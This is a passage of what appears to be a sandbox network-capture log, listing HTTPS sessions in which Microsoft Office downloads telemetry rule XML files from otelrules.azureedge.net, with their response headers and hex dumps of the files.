V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49943	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:16 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:16 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:16 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181516Z-1777c6cb754mrj2shC1TEB6k7w00000008hg00000000mec0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49946	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:16 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:17 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:17 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181517Z-r1d97b99577ckpmjhC1TEBrzs000000007r000000000h0vu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:17 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49941	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:16 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:17 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181517Z-r1d97b99577sdxndhC1TEBec5n00000007r000000000t04s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49945	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:16 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:17 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:17 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181517Z-185f5d8b95ctl8xlhC1NYCn94g000000096000000000cp64 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:17 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49947	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:17 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:17 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:17 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181517Z-1777c6cb754rz2pghC1TEBghen00000008c000000000ag4c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:17 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.4	49944	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:17 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:17 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:17 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181517Z-185f5d8b95cf7qddhC1NYC66an000000094000000000ny6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:17 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.4	49948	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:17 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:17 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:17 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181517Z-1777c6cb7542p5p4hC1TEBq09800000008fg000000008xzd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:17 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.4	49950	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:17 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:17 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:17 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 7ca1e40b-601e-003d-2f8c-3a6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181517Z-185f5d8b95cqnkdjhC1NYCm8w800000008v000000000y9rk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:17 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.4	49951	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:17 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:17 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:17 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62f37542-501e-0016-6f8c-3a181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181517Z-185f5d8b95cdh56ghC1NYCk1x400000002wg00000000pedt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:17 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.4	49949	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:17 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:18 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:18 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181518Z-r1d97b995778dpcthC1TEB4b5400000007k000000000hwhf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:18 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.4	49953	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:18 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:18 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:18 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5c785bae-401e-0083-638c-3a075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181518Z-1777c6cb7544n7p6hC1TEByvb400000008m000000000c4r0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:18 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.4	49954	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:18 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:18 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:18 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 538caadb-101e-0028-028c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181518Z-r1d97b9957747b9jhC1TEBgyec00000007y0000000000z48 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
